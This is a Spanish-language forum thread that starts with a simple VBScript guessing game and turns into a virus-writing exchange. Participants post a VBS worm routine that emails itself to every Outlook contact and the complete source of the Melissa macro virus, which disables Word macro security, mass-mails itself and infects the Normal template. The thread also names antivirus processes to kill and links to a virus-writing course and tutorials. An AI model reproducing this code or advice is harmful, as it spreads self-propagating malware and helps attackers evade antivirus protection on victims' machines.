Si tienen dudas acerca del script VBS entren aquí y pregunten:

[Hait-ScriptXpert]

¿Dudas en el script VBS? preguntenme

[jose821]

No se nada de los scripts... se que es un tipo de lenguaje escrito en texto plano y seria... pero para que se ocupa?...
me podrias enseñar
gracias de antemano

[Hait-ScriptXpert]

siento la tardanza...
Si te puedo contestar:
Los scripts son lenguajes de programación los cuales no nesesitan de ser compilados, es decir en el bloc de notas escribes el código, lo guardas y no nesesita de ser convertido a .exe, se ejecuta normalmente, pero si tus intensiones son malas, un script no es muy recomendado, menos si lo vas a enviar por correo, a menos de que la víctima no sepa ni un gramo de que es eso. Bueno ese no es el caso. Un script te sirve para:
Hacer pequeñas aplicasiones, complementos para programas, o solo para divertirte.
Para escribir un script solo escribe el código en el bloc de notas, ya que lo vas a a guardar como Nombre.vbs, o vbe, o js, o etc. No lo vallas a guardar como nombre.txt.vbs, esto te puede pasar, para guardar el archivo, en el dialogo de guardar, lo pones como todos los archivos, y ahora si lo guardas como nombre.vbs.
Ahí te va un ejemplo:

Código:

Randomize
x=CInt(1 + Int(Rnd()*19))
msgBox(x)

Do

t=CInt(InputBox("¿Que número elegí?"))

If x<t Then r=MsgBox("Mi número es más pequeño.")
If x>t Then r=MsgBox("Mi número es mayor.")
Loop Until x=t
MsgBox("Has acertado")

Este lo guardas como jueguillo.vbs con el bloc de notas, lo ejecutas y listo, lo podrás jugar...

[Hait-ScriptXpert]

Se me olvidó un detalle del código.
Cuando ejecutes el código, te aparecerá un mensaje con un número, si no pones ese número en el campo que te sale después de aceptar tal mensaje, se volverá a poner el campo de escritura hasta que no pongas tal número...
 
saludos...

[WalterM]

Okei, digamos que tengo ese scritp de arriba y  lo guarde juego.vbs y lo quiero enviar a un amigo el lo podra jugar??

O solo yo porque tengo el VISUAL BASIC

A lo que me refiero es que... si el no tiene VB no lo podra jugar??


Salu2

[WalterM]

Ya pude gracias,


Perdon por multipost

[nomade_55p]

Yo no tengo ni idea del lenguaje...aho ra toy buscando un manual...probe el juego me parecio bastante bueno q solo con el bock de notas pueda hacer un programilla...

Mi pregunta es... estos script se le agregan a programas .exe , para cambiarlos? osea es lo mismo q los script q vemos por ahi para el msn y demas....?

como se agregan?

saludos

[ZEUS34]

como se hace para que un gusano hecho en vbs se envie por outlook??
kual es la clave?

[Shadow C]

Mira ZEUS34 hacer que un worm en vbs se envie por Outlook es muy simple pero tiene su falencia. Cualquier pero cualquier AV te lo detectara en el acto ya que esa tecnica esta por demas utilizada.adem as el mismo Outlook le avisa al usuario si algun programa esta intentando enviar un mensaje( nada muy dificil de superar, solo presionas con el worm en aceptar)

mira esto es mas o menos lo que buscas:

On Error Resume Next
Dim Ou, Mapi,adlist,aec,msg            
set Ou=CreateObject("outlook.applic ation")      
if ou= "Outlook" then
set mapi =ou.GetNameSpace("MAPI")      
for each adlist in mapi.AddressLi sts         
aec=adlist.AddressEntries.Count         
if aec<> 0 then                   proseguir
Set msg=ou.CreateItem(0)         
msg.Subject= "asunto"      
msg.body = "cuerpo del mensaje"
msg.Attachment s.Add wscript.script fullname      
for iii=1 to aec                  
set adentr=adlist.AddressEntries(iii)         
if aec=1 then                   
msg.BCC=adentr.Address            
else
msg.BCC=msg.Bcc & "; " & adentr.Address      
end if
next
msg.send                  
done=1
end if
next
end if

igual si lo probas te daras cuenta de lo que te digo. Yo te recomiendo que mejor en ves de usar el OutLook intentes hacer un cliente SMTP

[ZEUS34]

como se hace??
salu2

[ZEUS34]

otra cosa...
me gustaria encontrar un manual completo de vbs, sobre gusanos y virus y como hacerlos...
si alguien save de alguno, me lo pueden pasar?
salu2

[kran]

  yo tambien soy noob en vbs me encantaria aprender ^^

navegando consegui esto 

Código:

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Mic*ft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game's over.
I'm outta here."
End Sub

[ZEUS34]

que hace???
salu2

[Shadow C]

Veo que hay mucha duda. Quieren que haga un manual de como realizar virus en vbs?Que les parece?

[kran]

pues yo no estoy en contra ^^

[ZEUS34]

si...
estaria muy bien
gracias... postéalo

[nomade_55p]

sisi dale !!!

salu2

[Shadow C]

Bueno aqui esta la primera parte del curso en el que se detalla las funcines basicas para codear worms en VBS. Si les gusta seguimos con la segunda parte. Esto es muy basico. En la segunda parte voy a hablar acerca de encripcion,procesos,algo de SMTP,etc .

El link de la primera parte:


Para ver este enlace Registrate o Inicia Sesion

http:\\shadowclabs.t35.com\Curso virus en VBS .txt

[Shadow C]

Correccion del link. Perdonen el multipost 
http://shadowclabs.t35.com/Curso1.zip

[Shadow C]

Quieren que comienze con la parte 2?
Este se va a dedicar de temas mas especificos y mejor explicados

[ZEUS34]

si porfa...
ya lei la primera parte y si me sirve, mucho!!!
comienza vamos!!
salu2

[ZEUS34]

oigan...
tengo una duda...
cual es code vbs para bloquear el mouse y el teclado pur un determinado tiempo???
salu2

[ZEUS34]

este va para shadow c.
saves cual es el code VBS para desactivar el NOD32??
salu2

[Shadow C]

mmm  .... si con desactivar el NOD32 te refieres a sacarlo de memoria para que no scanee.Prueba utilizando el codigo mataprocesos que puse en el post libreria de script.
Los procesos del nod mas importante son:

NOD32KUI.EXE (NOD32 Control Center)
NOD32KRN.EXE (muy dificil que lo cierres con un simple mataprocesos)

Recomendacion: Por que no empiezas a codear en Visual Basic 6.0? te da muchas mas posibilidades como utilizar apis y otras prestaciones ademas los codes son el 90% transferibles. Intentalo!!!!

[700esoj]

Hey cuando piensas hacer la segunda parte de los vbScript?

[lupino666]

Respecto al codigo de mas arriba es del macro virus melisa busca en google

macro virus melissa y veras lo qeu hace

aunque es mas famoso por que se expandio por todo el mundo en poco tiempo, no se que otros playloads tenga

respecto a un mamual de virus en VBS o VB entre a esta pagina


Para ver este enlace Registrate o Inicia Sesion

http://www.espavirus.com/cursos_virus/curso_cybermosca/creacion_de_macrovirus.htm

  en esta pagian esta la introduccion a la creacion de macrovirus para word y exel BY cibermosca


Para ver este enlace Registrate o Inicia Sesion

http://www.espavirus.com/cursos_virus/curso_kuasanagui/tutorial_basico_de_virus_vbs.htm

          aqui un tutorial basico de virus bajo VBS by  Kuasanagui


Para ver este enlace Registrate o Inicia Sesion

http://www.espavirus.com/cursos_virus/curso_nemlim/tutorial_avanzado_virus_vbs.htm

                la contunuacion del tutorial de Kuasanagui BY Nelmim


Para ver este enlace Registrate o Inicia Sesion

http://www.espavirus.com/cursos_virus/curso_kuasanagui/worm_en_visual_basic.htm

       para aprender hacer worm basicos en VB 6.0

En general entren a


Para ver este enlace Registrate o Inicia Sesion

www.espavirus. com

hay de todo sobre virus en variados lenguajes